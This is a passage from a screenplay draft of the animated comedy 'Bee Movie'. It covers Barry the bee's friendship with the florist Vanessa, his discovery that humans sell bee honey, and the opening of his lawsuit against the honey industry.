can see it. VANESSA Oh, you’re in Sheep Meadow. BARRY (excited) Yes! You know the turtle pond? VANESSA Yes? BARRY I’m right off of that. VANESSA Oh, no way. I know that area. Do you know I lost a toe-ring there once? BARRY Really? "Bee Movie" - JS REVISIONS 8/13/07 40. VANESSA Yes. BARRY Why do girls put rings on their toes? VANESSA Why not? BARRY I don’t know. It’s like putting a hat on your knee. VANESSA Really? Okay. A JANITOR in the background changes a LIGHTBULB. To him, it appears that Vanessa is talking to an imaginary friend. JANITOR You all right, ma’am? VANESSA Oh, yeah, fine. Just having two cups of coffee. BARRY Anyway, this has been great. (wiping his mouth) Thanks for the coffee. Barry gazes at Vanessa. VANESSA Oh yeah, it’s no trouble. BARRY Sorry I couldn’t finish it. Vanessa giggles. BARRY (CONT'D) (re: coffee) If I did, I’d be up the rest of my life. Ummm. Can I take a piece of this with me? VANESSA Sure. Here, have a crumb. She takes a CRUMB from the plate and hands it to Barry. "Bee Movie" - JS REVISIONS 8/13/07 41. BARRY (a little dreamy) Oh, thanks. VANESSA Yeah. There is an awkward pause. BARRY Alright, well then, I guess I’ll see you around, or not, or... VANESSA Okay Barry. BARRY And thank you so much again, for before. VANESSA Oh that? BARRY Yeah. VANESSA Oh, that was nothing. BARRY Well, not nothing, but, anyway... Vanessa extends her hand, and shakes Barry’s gingerly. The Janitor watches. The lightbulb shorts out. The Janitor FALLS. CUT TO: SEQ. 1400 - “HONEX” INT. HONEX BUILDING - NEXT DAY ANGLE ON: A TEST BEE WEARING A PARACHUTE is in a wind tunnel, hovering through increasingly heavy wind. SIGNS UNDER A FLASHING LIGHT READ: “Test In Progress” & “Hurricane Survival Test”. 2 BEES IN A LAB COATS are observing behind glass. "Bee Movie" - JS REVISIONS 8/13/07 42. LAB COAT BEE 1 This can’t possibly work. LAB COAT BEE 2 Well, he’s all set to go, we may as well try it. (into the mic) Okay Dave, pull the chute. The test bee opens his parachute. He’s instantly blown against the rear wall. Adam and Barry ENTER. ADAM Sounds amazing. BARRY Oh, it was amazing. It was the scariest, happiest moment of my life. ADAM Humans! Humans! I can’t believe you were with humans! Giant scary humans! What were they like? BARRY Huge and crazy. They talk crazy, they eat crazy giant things. They drive around real crazy. ADAM And do they try and kill you like on TV? BARRY Some of them. But some of them don’t. ADAM How’d you get back? BARRY Poodle. ADAM Look, you did it. And I’m glad. You saw whatever you wanted to see out there, you had your “experience”, and now you’re back, you can pick out your job, and everything can be normal. "Bee Movie" - JS REVISIONS 8/13/07 43. ANGLE ON: LAB BEES examining a CANDY CORN through a microscope. BARRY Well... ADAM Well? BARRY Well, I met someone. ADAM You met someone? Was she Bee-ish? BARRY Mmm. ADAM Not a WASP? Your parents will kill you. BARRY No, no, no, not a wasp. ADAM Spider? BARRY You know, I’m not attracted to the spiders. I know to everyone else it’s like the hottest thing with the eight legs and all. I can’t get by that face. Barry makes a spider face. ADAM So, who is she? BARRY She’s a human. ADAM Oh no, no, no, no. That didn’t happen. You didn’t do that. That is a bee law. You wouldn’t break a bee law. BARRY Her name’s Vanessa. "Bee Movie" - JS REVISIONS 8/13/07 44. ADAM Oh, oh boy! BARRY She’s so-o nice. And she’s a florist! ADAM Oh, no. No, no, no! You’re dating a human florist? BARRY We’re not dating. ADAM You’re flying outside the hive. You’re talking to human beings that attack our homes with power washers and M-80’s. That’s 1/8 of a stick of dynamite. BARRY She saved my life. And she understands me. ADAM This is over. Barry pulls out the crumb. BARRY Eat this. Barry stuffs the crumb into Adam’s face. ADAM This is not over. What was that? BARRY They call it a crumb. ADAM That was SO STINGING STRIPEY! BARRY And that’s not even what they eat. That just falls off what they eat. Do you know what a Cinnabon is? ADAM No. "Bee Movie" - JS REVISIONS 8/13/07 45. BARRY It’s bread... ADAM Come in here! BARRY and cinnamon, ADAM Be quiet! BARRY and frosting...they heat it up-- ADAM Sit down! INT. ADAM’S OFFICE - CONTINUOUS BARRY Really hot! ADAM Listen to me! We are not them. We’re us. There’s us and there’s them. BARRY Yes, but who can deny the heart that is yearning... Barry rolls his chair down the corridor. ADAM There’s no yearning. Stop yearning. Listen to me. You have got to start thinking bee, my friend. ANOTHER BEE JOINS IN. ANOTHER BEE Thinking bee. WIDER SHOT AS A 3RD BEE ENTERS, popping up over the cubicle wall. 3RD BEE Thinking bee. EVEN WIDER SHOT AS ALL THE BEES JOIN IN. "Bee Movie" - JS REVISIONS 8/13/07 46. OTHER BEES Thinking bee. Thinking bee. Thinking bee. CUT TO: SEQ. 1500 - “POOLSIDE NAGGING” EXT. BACKYARD PARENT’S HOUSE - DAY Barry sits on a RAFT in a hexagon honey pool, legs dangling into the water. Janet Benson and Martin Benson stand over him wearing big, sixties sunglasses and cabana-type outfits. The sun shines brightly behind their heads. JANET BENSON (O.C) There he is. He’s in the pool. MARTIN BENSON You know what your problem is, Barry? BARRY I’ve got to start thinking bee? MARTIN BENSON Barry, how much longer is this going to go on? It’s been three days. I don’t understand why you’re not working. BARRY Well, I’ve got a lot of big life decisions I’m thinking about. MARTIN BENSON What life? You have no life! You have no job! You’re barely a bee! Barry throws his hands in the air. BARRY Augh. JANET BENSON Would it kill you to just make a little honey? Barry ROLLS off the raft and SINKS to the bottom of the pool. We hear his parents’ MUFFLED VOICES from above the surface. "Bee Movie" - JS REVISIONS 8/13/07 47. JANET BENSON (CONT'D) (muffled) Barry, come out from under there. Your father’s talking to you. Martin, would you talk to him? MARTIN BENSON Barry, I’m talking to you. DISSOLVE TO: EXT. PICNIC AREA - DAY MUSIC: “Sugar Sugar” by the Archies. Barry and Vanessa are having a picnic. A MOSQUITO lands on Vanessa’s leg. She SWATS it violently. Barry’s head whips around, aghast. They stare at each other awkwardly in a frozen moment, then BURST INTO HYSTERICAL LAUGHTER. Vanessa GETS UP. VANESSA You coming? BARRY Got everything? VANESSA All set. Vanessa gets into a one-man Ultra Light plane with a black and yellow paint scheme. She puts on her helmet. BARRY You go ahead, I’ll catch up. VANESSA (come hither wink) Don’t be too long. The Ultra Light takes off. Barry catches up. They fly sideby-side. VANESSA (CONT’D) Watch this! Vanessa does a loop, and FLIES right into the side of a mountain, BURSTING into a huge ball of flames. "Bee Movie" - JS REVISIONS 8/13/07 48. BARRY (yelling, anguished) Vanessa! EXT. BARRY’S PARENT’S HOUSE - CONTINUOUS ANGLE ON: Barry’s face bursting through the surface of the pool, GASPING for air, eyes opening in horror. MARTIN BENSON We’re still here, Barry. JANET BENSON I told you not to yell at him. He doesn’t respond when you yell at him. MARTIN BENSON Then why are you yelling at me? JANET BENSON Because you don’t listen. MARTIN BENSON I’m not listening to this. Barry is toweling off, putting on his sweater. BARRY Sorry Mom, I’ve got to go. JANET BENSON Where are you going? BARRY Nowhere. I’m meeting a friend. Barry JUMPS off the balcony and EXITS. JANET BENSON (calling after him) A girl? Is this why you can’t decide? BARRY Bye! JANET BENSON I just hope she’s Bee-ish. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 49. SEQ. 1700 - “STREETWALK/SUPERMARKET” EXT. VANESSA’S FLORIST SHOP - DAY Vanessa FLIPS the sign to say “Sorry We Missed You”, and locks the door. ANGLE ON: A POSTER on Vanessa’s door for the Tournament of Roses Parade in Pasadena. BARRY So they have a huge parade of just flowers every year in Pasadena? VANESSA Oh, to be in the Tournament of Roses, that’s every florist’s dream. Up on a float, surrounded by flowers, crowds cheering. BARRY Wow, a tournament. Do the roses actually compete in athletic events? VANESSA No. Alright, I’ve got one. How come you don’t fly everywhere? BARRY It’s exhausting. Why don’t you run everywhere? VANESSA Hmmm. BARRY Isn’t that faster? VANESSA Yeah, okay. I see, I see. Alright, your turn. Barry and Vanessa walk/fly down a New York side street, no other pedestrians near them. BARRY Ah! Tivo. You can just freeze live TV? That’s insane. "Bee Movie" - JS REVISIONS 8/13/07 50. VANESSA What, you don’t have anything like that? BARRY We have Hivo, but it’s a disease. It’s a horrible, horrible disease. VANESSA Oh my. They turn the corner onto a busier avenue and people start to swat at Barry. MAN Dumb bees! VANESSA You must just want to sting all those jerks. BARRY We really try not to sting. It’s usually fatal for us. VANESSA So you really have to watch your temper? They ENTER a SUPERMARKET. CUT TO: INT. SUPERMARKET BARRY Oh yeah, very carefully. You kick a wall, take a walk, write an angry letter and throw it out. You work through it like any emotion-- anger, jealousy, (under his breath) lust. Barry hops on top of some cardboard boxes in the middle of an aisle. A stock boy, HECTOR, whacks him with a rolled up magazine. VANESSA (to Barry) Oh my goodness. Are you okay? "Bee Movie" - JS REVISIONS 8/13/07 51. BARRY Yeah. Whew! Vanessa WHACKS Hector over the head with the magazine. VANESSA (to Hector) What is wrong with you?! HECTOR It’s a bug. VANESSA Well he’s not bothering anybody. Get out of here, you creep. Vanessa pushes him, and Hector EXITS, muttering. BARRY (shaking it off) What was that, a Pick and Save circular? VANESSA Yeah, it was. How did you know? BARRY It felt like about ten pages. Seventy-five’s pretty much our limit. VANESSA Boy, you’ve really got that down to a science. BARRY Oh, we have to. I lost a cousin to Italian Vogue. VANESSA I’ll bet. Barry stops, sees the wall of honey jars. BARRY What, in the name of Mighty Hercules, is this? How did this get here? Cute Bee? Golden Blossom? Ray Liotta Private Select? VANESSA Is he that actor? "Bee Movie" - JS REVISIONS 8/13/07 52. BARRY I never heard of him. Why is this here? VANESSA For people. We eat it. BARRY Why? (gesturing around the market) You don’t have enough food of your own? VANESSA Well yes, we-- BARRY How do you even get it? VANESSA Well, bees make it... BARRY I know who makes it! And it’s hard to make it! There’s Heating and Cooling, and Stirring...you need a whole Krelman thing. VANESSA It’s organic. BARRY It’s our-ganic! VANESSA It’s just honey, Barry. BARRY Just...what?! Bees don’t know about this. This is stealing. A lot of stealing! You’ve taken our homes, our schools, our hospitals. This is all we have. And it’s on sale? I’m going to get to the bottom of this. I’m going to get to the bottom of all of this! He RIPS the label off the Ray Liotta Private Select. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 53. SEQ. 1800 - “WINDSHIELD” EXT. BACK OF SUPERMARKET LOADING DOCK - LATER THAT DAY Barry disguises himself by blacking out his yellow lines with a MAGIC MARKER and putting on some war paint. He sees Hector, the stock boy, with a knife CUTTING open cardboard boxes filled with honey jars. MAN You almost done? HECTOR Almost. Barry steps in some honey, making a SNAPPING noise. Hector stops and turns. HECTOR (CONT’D) He is here. I sense it. Hector grabs his BOX CUTTER. Barry REACTS, hides himself behind the box again. HECTOR (CONT’D) (talking too loud, to no one in particular) Well, I guess I’ll go home now, and just leave this nice honey out, with no one around. A BEAT. Hector pretends to exit. He takes a couple of steps in place. ANGLE ON: The honey jar. Barry steps out into a moody spotlight. BARRY You’re busted, box boy! HECTOR Ah ha! I knew I heard something. So, you can talk. Barry flies up, stinger out, pushing Hector up against the wall. As Hector backs up, he drops his knife. BARRY Oh, I can talk. And now you’re going to start talking. "Bee Movie" - JS REVISIONS 8/13/07 54. Where are you getting all the sweet stuff? Who’s your supplier?! HECTOR I don’t know what you’re talking about. I thought we were all friends. The last thing we want to do is upset any of you...bees! Hector grabs a PUSHPIN. Barry fences with his stinger. HECTOR (CONT’D) You’re too late. It’s ours now! BARRY You, sir, have crossed the wrong sword. HECTOR You, sir, are about to be lunch for my iguana, Ignacio! Barry and Hector get into a cross-swords, nose-to-nose confrontation. BARRY Where is the honey coming from? Barry knocks the pushpin out of his hand. Barry puts his stinger up to Hector’s nose. BARRY (CONT'D) Tell me where?! HECTOR (pointing to a truck) Honey Farms. It comes from Honey Farms. ANGLE ON: A Honey Farms truck leaving the parking lot. Barry turns, takes off after the truck through an alley. He follows the truck out onto a busy street, dodging a bus, and several cabs. CABBIE Crazy person! He flies through a metal pipe on the top of a truck. BARRY OOOHHH! "Bee Movie" - JS REVISIONS 8/13/07 55. BARRY (CONT'D) Barry grabs onto a bicycle messenger’s backpack. The honey farms truck starts to pull away. Barry uses the bungee cord to slingshot himself towards the truck. He lands on the windshield, where the wind plasters him to the glass. He looks up to find himself surrounded by what appear to be DEAD BUGS. He climbs across, working his way around the bodies. BARRY (CONT’D) Oh my. What horrible thing has happened here? Look at these faces. They never knew what hit them. And now they’re on the road to nowhere. A MOSQUITO opens his eyes. MOOSEBLOOD Pssst! Just keep still. BARRY What? You’re not dead? MOOSEBLOOD Do I look dead? Hey man, they will wipe anything that moves. Now, where are you headed? BARRY To Honey Farms. I am onto something huge here. MOOSEBLOOD I’m going to Alaska. Moose blood. Crazy stuff. Blows your head off. LADYBUG I’m going to Tacoma. BARRY (to fly) What about you? MOOSEBLOOD He really is dead. BARRY Alright. The WIPER comes towards them. "Bee Movie" - JS REVISIONS 8/13/07 56. MOOSEBLOOD Uh oh. BARRY What is that? MOOSEBLOOD Oh no! It’s a wiper, triple blade! BARRY Triple blade? MOOSEBLOOD Jump on. It’s your only chance, bee. They hang on as the wiper goes back and forth. MOOSEBLOOD (CONT'D) (yelling to the truck driver through the glass) Why does everything have to be so dog-gone clean?! How much do you people need to see? Open your eyes! Stick your head out the window! CUT TO: INT. TRUCK CAB SFX: Radio. RADIO VOICE For NPR News in Washington, I’m Carl Kasell. EXT. TRUCK WINDSHIELD MOOSEBLOOD But don’t kill no more bugs! The Mosquito is FLUNG off of the wiper. MOOSEBLOOD (CONT'D) Beeeeeeeeeeeeee! BARRY Moose blood guy! "Bee Movie" - JS REVISIONS 8/13/07 57. Barry slides toward the end of the wiper, is thrown off, but he grabs the AERIAL and hangs on for dear life. Barry looks across and sees a CRICKET on another vehicle in the exact same predicament. They look at each other and SCREAM in unison. BARRY AND CRICKET Aaaaaaaaaah! ANOTHER BUG grabs onto the aerial, and screams as well. INT. TRUCK CAB - SAME TIME DRIVER You hear something? TRUCKER PASSENGER Like what? DRIVER Like tiny screaming. TRUCKER PASSENGER Turn off the radio. The driver reaches down and PRESSES a button, lowering the aerial. EXT. TRUCK WINDSHIELD - SAME TIME Barry and the other bug do a “choose up” to the bottom, Barry wins. BARRY Aha! Then he finally has to let go and gets thrown into the truck horn atop cab. Mooseblood is inside. MOOSEBLOOD Hey, what’s up bee boy? BARRY Hey, Blood! DISSOLVE TO: "Bee Movie" - JS REVISIONS 8/13/07 58. INT. TRUCK HORN - LATER BARRY ...and it was just an endless row of honey jars as far as the eye could see. MOOSEBLOOD Wow. BARRY So I’m just assuming wherever this honey truck goes, that’s where they’re getting it. I mean, that honey’s ours! MOOSEBLOOD Bees hang tight. BARRY Well, we’re all jammed in there. It’s a close community. MOOSEBLOOD Not us, man. We’re on our own. Every mosquito is on his own. BARRY But what if you get in trouble? MOOSEBLOOD Trouble? You're a mosquito. You're in trouble! Nobody likes us. They’re just all smacking. People see a mosquito, smack, smack! BARRY At least you’re out in the world. You must meet a lot of girls. MOOSEBLOOD Mosquito girls try to trade up; get with a moth, dragonfly...mosquito girl don’t want no mosquito. A BLOOD MOBILE pulls up alongside. MOOSEBLOOD (CONT'D) Whoa, you have got to be kidding me. Mooseblood’s about to leave the building. So long bee. "Bee Movie" - JS REVISIONS 8/13/07 59. Mooseblood EXITS the horn, and jumps onto the blood mobile. MOOSEBLOOD (CONT'D) Hey guys. I knew I’d catch you all down here. Did you bring your crazy straws? CUT TO: SEQ. 1900 - “THE APIARY” EXT. APIARY - LATER Barry sees a SIGN, “Honey Farms” The truck comes to a stop. SFX: The Honey farms truck blares its horn. Barry flies out, lands on the hood. ANGLE ON: Two BEEKEEPERS, FREDDY and ELMO, walking around to the back of the gift shop. Barry follows them, and lands in a nearby tree FREDDY ...then we throw it in some jars, slap a label on it, and it’s pretty much pure profit. BARRY What is this place? ELMO Bees got a brain the size of a pinhead. FREDDY They are pinheads. The both LAUGH. ANGLE ON: Barry REACTING. They arrive at the back of the shop where one of them opens a SMOKER BOX. FREDDY (CONT’D) Hey, check out the new smoker. "Bee Movie" - JS REVISIONS 8/13/07 60. ELMO Oh, Sweet. That’s the one you want. FREDDY The Thomas 3000. BARRY Smoker? FREDDY 90 puffs a minute, semi-automatic. Twice the nicotine, all the tar. They LAUGH again, nefariously. FREDDY (CONT’D) Couple of breaths of this, and it knocks them right out. They make the honey, and we make the money. BARRY “They make the honey, and we make the money?” Barry climbs onto the netting of Freddy’s hat. He climbs up to the brim and looks over the edge. He sees the apiary boxes as Freddy SMOKES them. BARRY (CONT'D) Oh my. As Freddy turns around, Barry jumps into an open apiary box, and into an apartment. HOWARD and FRAN are just coming to from the smoking. BARRY (CONT’D) What’s going on? Are you okay? HOWARD Yeah, it doesn’t last too long. HE COUGHS a few times. BARRY How did you two get here? Do you know you’re in a fake hive with fake walls? HOWARD (pointing to a picture on the wall) "Bee Movie" - JS REVISIONS 8/13/07 61. Our queen was moved here, we had no choice. BARRY (looking at a picture on the wall) This is your queen? That’s a man in women’s clothes. That’s a dragqueen! The other wall opens. Barry sees the hundreds of apiary boxes. BARRY (CONT'D) What is this? Barry pulls out his camera, and starts snapping. BARRY (CONT’D) Oh no. There’s hundreds of them. (V.O, as Barry takes pictures) Bee honey, our honey, is being brazenly stolen on a massive scale. CUT TO: SEQ. 2100 - “BARRY TELLS FAMILY” INT. BARRY’S PARENT’S HOUSE - LIVING ROOM - LATER Barry has assembled his parents, Adam, and Uncle Carl. BARRY This is worse than anything the bears have done to us. And I intend to do something about it. JANET BENSON Oh Barry, stop. MARTIN BENSON Who told you that humans are taking our honey? That’s just a rumor. BARRY Do these look like rumors? Barry throws the PICTURES on the table. Uncle Carl, cleaning his glasses with his shirt tail, digs through a bowl of nuts with his finger. "Bee Movie" - JS REVISIONS 8/13/07 62. HOWARD (CONT'D) UNCLE CARL That’s a conspiracy theory. These are obviously doctored photos. JANET BENSON Barry, how did you get mixed up in all this? ADAM (jumping up) Because he’s been talking to humans! JANET BENSON Whaaat? MARTIN BENSON Talking to humans?! Oh Barry. ADAM He has a human girlfriend and they make out! JANET BENSON Make out? Barry? BARRY We do not. ADAM You wish you could. BARRY Who’s side are you on? ADAM The bees! Uncle Carl stands up and pulls his pants up to his chest. UNCLE CARL I dated a cricket once in San Antonio. Man, those crazy legs kept me up all night. Hotcheewah! JANET BENSON Barry, this is what you want to do with your life? BARRY This is what I want to do for all our lives. Nobody works harder than bees. "Bee Movie" - JS REVISIONS 8/13/07 63. Dad, I remember you coming home some nights so overworked, your hands were still stirring. You couldn’t stop them. MARTIN BENSON Ehhh... JANET BENSON (to Martin) I remember that. BARRY What right do they have to our hardearned honey? We’re living on two cups a year. They’re putting it in lip balm for no reason what-soever. MARTIN BENSON Even if it’s true, Barry, what could one bee do? BARRY I’m going to sting them where it really hurts. MARTIN BENSON In the face? BARRY No. MARTIN BENSON In the eye? That would really hurt. BARRY No. MARTIN BENSON Up the nose? That’s a killer. BARRY No. There’s only one place you can sting the humans. One place where it really matters. CUT TO: SEQ. 2300 - “HIVE AT 5 NEWS/BEE LARRY KING” "Bee Movie" - JS REVISIONS 8/13/07 64. BARRY (CONT'D) INT. NEWS STUDIO - DAY DRAMATIC NEWS MUSIC plays as the opening news sequence rolls. We see the “Hive at Five” logo, followed by shots of past news events: A BEE freeway chase, a BEE BEARD protest rally, and a BEAR pawing at the hive as the BEES flee in panic. BOB BUMBLE (V.O.) Hive at Five, the hive’s only full hour action news source... SHOTS of NEWSCASTERS flash up on screen. BOB BUMBLE (V.O.) (CONT'D) With Bob Bumble at the anchor desk... BOB has a big shock of anchorman hair, gray temples and overly white teeth. BOB BUMBLE (V.O.) (CONT'D) ...weather with Storm Stinger, sports with Buzz Larvi, and Jeanette Chung. JEANETTE is an Asian bee. BOB BUMBLE (CONT'D) Good evening, I’m Bob Bumble. JEANETTE CHUNG And I’m Jeanette Chung. BOB BUMBLE Our top story, a tri-county bee, Barry Benson... INSERT: Barry’s graduation picture. BOB BUMBLE (CONT'D) ...is saying he intends to sue the human race for stealing our honey, packaging it, and profiting from it illegally. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 65. INT. BEENN STUDIO - BEE LARRY KING LIVE BEE LARRY KING, wearing suspenders and glasses, is interviewing Barry. A LOWER-THIRD CHYRON reads: “Bee Larry King Live.” BEE LARRY KING Don’t forget, tomorrow night on Bee Larry King, we are going to have three former Queens all right here in our studio discussing their new book, “Classy Ladies,” out this week on Hexagon. (to Barry) Tonight, we’re talking to Barry Benson. Did you ever think, I’m just a kid from the hive, I can’t do this? BARRY Larry, bees have never been afraid to change the world. I mean, what about Bee-Columbus? Bee-Ghandi? Be-geesus? BEE LARRY KING Well, where I’m from you wouldn’t think of suing humans. We were thinking more like stick ball, candy stores. BARRY How old are you? BEE LARRY KING I want you to know that the entire bee community is supporting you in this case, which is certain to be the trial of the bee century. BARRY Thank you, Larry. You know, they have a Larry King in the human world, too. BEE LARRY KING It’s a common name. Next week on Bee Larry King... "Bee Movie" - JS REVISIONS 8/13/07 66. BARRY No, I mean he looks like you. And he has a show with suspenders and different colored dots behind him. BEE LARRY KING Next week on Bee Larry King... BARRY Old guy glasses, and there’s quotes along the bottom from the guest you’re watching even though you just heard them... BEE LARRY KING Bear week next week! They’re scary, they’re hairy, and they’re here live. Bee Larry King EXITS. BARRY Always leans forward, pointy shoulders, squinty eyes... (lights go out) Very Jewish. CUT TO: SEQ. 2400 - “FLOWER SHOP” INT. VANESSA’S FLOWER SHOP - NIGHT Stacks of law books are piled up, legal forms, etc. Vanessa is talking with Ken in the other room. KEN Look, in tennis, you attack at the point of weakness. VANESSA But it was my grandmother, Ken. She’s 81. KEN Honey, her backhand’s a joke. I’m not going to take advantage of that? "Bee Movie" - JS REVISIONS 8/13/07 67. BARRY (O.C) Quiet please. Actual work going on here. KEN Is that that same bee? BARRY (O.C) Yes it is. VANESSA I’m helping him sue the human race. KEN What? Barry ENTERS. BARRY Oh, hello. KEN Hello Bee. Barry flies over to Vanessa. VANESSA This is Ken. BARRY Yeah, I remember you. Timberland, size 10 1/2, Vibram sole I believe. KEN Why does he talk again, Hun? VANESSA (to Ken, sensing the tension) Listen, you’d better go because we’re really busy working. KEN But it’s our yogurt night. VANESSA (pushing him out the door) Oh...bye bye. She CLOSES the door. KEN Why is yogurt night so difficult?! "Bee Movie" - JS REVISIONS 8/13/07 68. Vanessa ENTERS the back room carrying coffee. VANESSA Oh you poor thing, you two have been at this for hours. BARRY Yes, and Adam here has been a huge help. ANGLE ON: A EMPTY CINNABON BOX with Adam asleep inside, covered in frosting. VANESSA How many sugars? BARRY Just one. I try not to use the competition. So, why are you helping me, anyway? VANESSA Bees have good qualities. BARRY (rowing on the sugar cube like a gondola) Si, Certo. VANESSA And it feels good to take my mind off the shop. I don’t know why, instead of flowers, people are giving balloon bouquets now. BARRY Yeah, those are great...if you’re 3. VANESSA And artificial flowers. BARRY (re: plastic flowers) Oh, they just get me psychotic! VANESSA Yeah, me too. BARRY The bent stingers, the pointless pollination. "Bee Movie" - JS REVISIONS 8/13/07 69. VANESSA Bees must hate those fake plastic things. BARRY There’s nothing worse than a daffodil that’s had work done. VANESSA (holding up the lawsuit documents) Well, maybe this can make up for it a little bit. CUT TO: EXT. VANESSA’S FLORIST SHOP They EXIT the store, and cross to the mailbox. VANESSA You know Barry, this lawsuit is a pretty big deal. BARRY I guess. VANESSA Are you sure that you want to go through with it? BARRY Am I sure? (kicking the envelope into the mailbox) When I’m done with the humans, they won’t be able to say, “Honey, I’m home,” without paying a royalty. CUT TO: SEQ. 2700 - “MEET MONTGOMERY” EXT. MANHATTAN COURTHOUSE - DAY P.O.V SHOT - A camera feed turns on, revealing a newsperson. "Bee Movie" - JS REVISIONS 8/13/07 70. PRESS PERSON #2 (talking to camera) Sarah, it’s an incredible scene here in downtown Manhattan where all eyes and ears of the world are anxiously waiting, because for the first time in history, we’re going to hear for ourselves if a honey bee can actually speak. ANGLE ON: Barry, Vanessa, and Adam getting out of the cab. The press spots Barry and Vanessa and pushes in. Adam sits on Vanessa’s shoulder. INT. COURTHOUSE - CONTINUOUS Barry, Vanessa, and Adam sit at the Plaintiff’s Table. VANESSA (turns to Barry) What have we gotten into here, Barry? BARRY I don’t know, but it’s pretty big, isn’t it? ADAM I can’t believe how many humans don’t have to be at work during the day. BARRY Hey, you think these billion dollar multinational food companies have good lawyers? CUT TO: EXT. COURTHOUSE STEPS - CONTINUOUS A BIG BLACK CAR pulls up. ANGLE ON: the grill filling the frame. We see the “L.T.M” monogram on the hood ornament. The defense lawyer, LAYTON T. MONTGOMERY comes out, squashing a bug on the pavement. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 71. INT. COURTHOUSE - CONTINUOUS Barry SHUDDERS. VANESSA What’s the matter? BARRY I don’t know. I just got a chill. Montgomery ENTERS. He walks by Barry’s table shaking a honey packet. MONTGOMERY Well, if it isn’t the B-Team. (re: the honey packet) Any of you boys work on this? He CHUCKLES. The JUDGE ENTERS. SEQ. 3000 - “WITNESSES” BAILIFF All rise! The Honorable Judge Bumbleton presiding. JUDGE (shuffling papers) Alright...Case number 4475, Superior Court of New York. Barry Bee Benson vs. the honey industry, is now in session. Mr. Montgomery, you are representing the five major food companies, collectively. ANGLE ON: Montgomery’s BRIEFCASE. It has an embossed emblem of an EAGLE, holding a gavel in one talon and a briefcase in the other. MONTGOMERY A privilege. JUDGE Mr. Benson. Barry STANDS. JUDGE (CONT’D) You are representing all bees of the world? "Bee Movie" - JS REVISIONS 8/13/07 72. Montgomery, the stenographer, and the jury lean in. CUT TO: EXT. COURTHOUSE - CONTINUOUS The spectators outside freeze. The helicopters angle forward to listen closely. CUT TO: INT. COURTHOUSE BARRY Bzzz bzzz bzzz...Ahh, I’m kidding, I’m kidding. Yes, your honor. We are ready to proceed. ANGLE ON: Courtroom hub-bub. JUDGE And Mr. Montgomery, your opening statement, please. Montgomery rises. MONTGOMERY (grumbles, clears his throat) Ladies and gentlemen of the jury. My grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we were to live in the topsy-turvy world Mr. Benson imagines, just think of what it would mean. Maybe I would have to negotiate with the silk worm for the elastic in my britches. Talking bee. How do we know this isn’t some sort of holographic motion picture capture Hollywood wizardry? They could be using laser beams, robotics, ventriloquism, cloning...for all we know he could be on steroids! Montgomery leers at Barry, who moves to the stand. "Bee Movie" - JS REVISIONS 8/13/07 73. JUDGE Mr. Benson? Barry makes his opening statement. BARRY Ladies and Gentlemen of the jury, there’s no trickery here. I’m just an ordinary bee. And as a bee, honey’s pretty important to me. It’s important to all bees. We invented it, we make it, and we protect it with our lives. Unfortunately, there are some people in this room who think they can take whatever they want from us cause we’re the little guys. And what I’m hoping is that after this is all over, you’ll see how by taking our honey, you’re not only taking away everything we have, but everything we are. ANGLE ON: Vanessa smiling. ANGLE ON: The BEE GALLERY wiping tears away. CUT TO: INT. BENSON HOUSE Barry’s family is watching the case on TV. JANET BENSON Oh, I wish he would dress like that all the time. So nice... CUT TO: INT. COURTROOM - LATER JUDGE Call your first witness. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 74. INT. COURTHOUSE - LATER BARRY So, Mr. Klauss Vanderhayden of Honey Farms. Pretty big company you have there? MR. VANDERHAYDEN I suppose so. BARRY And I see you also own HoneyBurton, and Hon-Ron. MR. VANDERHAYDEN Yes. They provide beekeepers for our farms. BARRY Beekeeper. I find that to be a very disturbing term, I have to say. I don’t imagine you employ any bee free-ers, do you? MR. VANDERHAYDEN No. BARRY I’m sorry. I couldn’t hear you. MR. VANDERHAYDEN (louder) No. BARRY No. Because you don’t free bees. You keep bees. And not only that, it seems you thought a bear would be an appropriate image for a jar of honey? MR. VANDERHAYDEN Well, they’re very lovable creatures. Yogi-bear, Fozzy-bear, Build-a-bear. BARRY Yeah, you mean like this?! Vanessa and the SUPERINTENDANT from her building ENTER with a GIANT FEROCIOUS GRIZZLY BEAR. He has a neck collar and chains extending from either side. "Bee Movie" - JS REVISIONS 8/13/07 75. By pulling the chains, they bring him directly in front of Vanderhayden. The bear LUNGES and ROARS. BARRY (CONT'D) Bears kill bees! How would you like his big hairy head crashing into your living room? Biting into your couch, spitting out your throwpillows...rowr, rowr! The bear REACTS. BEAR Rowr!! BARRY Okay, that’s enough. Take him away. Vanessa and the Superintendant pull the bear out of the courtroom. Vanderhayden TREMBLES. The judge GLARES at him. CUT TO: INT. COURTROOM- A LITTLE LATER Barry questions STING. BARRY So, Mr. Sting. Thank you for being here. Your name intrigues me, I have to say. Where have I heard it before? STING I was with a band called "The Police". BARRY But you've never been a police officer of any kind, have you? STING No, I haven't. "Bee Movie" - JS REVISIONS 8/13/07 76. BARRY No, you haven’t. And so, here we have yet another example of bee culture being casually stolen by a human for nothing more than a prance-about stage name. STING Oh please. BARRY Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say, (looking in folder) Mr. Gordon M. Sumner? The jury GASPS. MONTGOMERY (to his aides) That’s not his real name? You idiots! CUT TO: INT. COURTHOUSE- LATER BARRY Mr. Liotta, first may I offer my belated congratulations on your Emmy win for a guest spot on E.R. in 2005. LIOTTA Thank you. Thank you. Liotta LAUGHS MANIACALLY. BARRY I also see from your resume that you’re devilishly handsome, but with a churning inner turmoil that’s always ready to blow. LIOTTA I enjoy what I do. Is that a crime? "Bee Movie" - JS REVISIONS 8/13/07 77. BARRY Not yet it isn’t. But is this what it’s come to for you, Mr. Liotta? Exploiting tiny helpless bees so you don’t have to rehearse your part, and learn your lines, Sir? LIOTTA Watch it Benson, I could blow right now. BARRY This isn’t a goodfella. This is a badfella! LIOTTA (exploding, trying to smash Barry with the Emmy) Why doesn’t someone just step on this little creep and we can all go home? You’re all thinking it. Say it! JUDGE Order! Order in this courtroom! A MONTAGE OF NEWSPAPER HEADLINES FOLLOWS: NEW YORK POST: “Bees to Humans: Buzz Off”. NEW YORK TELEGRAM: “Sue Bee”. DAILY VARIETY: “Studio Dumps Liotta Project. Slams Door on Unlawful Entry 2.” CUT TO: SEQ. 3175 - “CANDLELIGHT DINNER” INT. VANESSA’S APARTMENT Barry and Vanessa 